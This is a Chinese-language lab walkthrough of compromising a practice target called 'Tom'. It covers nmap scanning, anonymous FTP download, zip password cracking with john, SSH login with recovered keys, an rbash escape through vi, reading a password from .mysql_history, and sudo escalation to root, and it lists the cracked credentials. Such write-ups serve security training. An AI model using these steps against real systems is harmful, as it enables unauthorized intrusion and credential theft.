靶场练习（6）：Tom

靶机ip：172.16.33.30

突破

端口扫描

sudo nmap -p- 172.16.33.30 --open

结果如下：

特定端口扫描

sudo nmap -p21,22,80 -sV -A 172.16.33.30

针对21端口

通过端口扫描可知该21端口支持anonymous登录，里面还有很多疑似用户名的信息，尝试登录：

ftp 172.16.33.30

新建一个文件夹将里面所有的文件都下载下来：

get <文件名>

随便选择一个压缩文件进行解压，发现需要密码

尝试用john进行破解：
提取其hash值

zip2john <文件名>.zip > <文件名>.hash

用john破解

john <文件名>.hash

最终在尝试了所有文件后，发现仅cathrine和tom可以破解，结果如下：

总结：

账号1：cathrine
密码1：catwoman

账号2：tom
密码2：iubire

对两人的zip文件分别解压，得到两个id_rsa：

针对22端口

尝试用上面得到的两个id_rsa进行ssh登录：

ssh <用户名>@<靶机ip> -i id_rsa

最终通过tom的id_rsa成功突破。

提权

绕过rbash

进来后发现有rbash限制，则先绕过rbash：

以下是绕过方法的其中一种：

vi
:set shell=/bin/bash
:shell

再次查看，发现成功绕过：

通过信息泄露提权

在/home/tom目录下，找到隐藏文件.mysql_history，发现关键信息：

cat /home/tom/.mysql_history

发现账密：
账号：tom
密码：xx11yy22!

有了账号密码，第一时间就要想到看看sudo -l有没有什么线索

sudo -l

果然发现，tom账号可以以root身份执行all（所有）的命令

那么直接提权+查看id即可：

sudo -s

提权成功，打靶完成。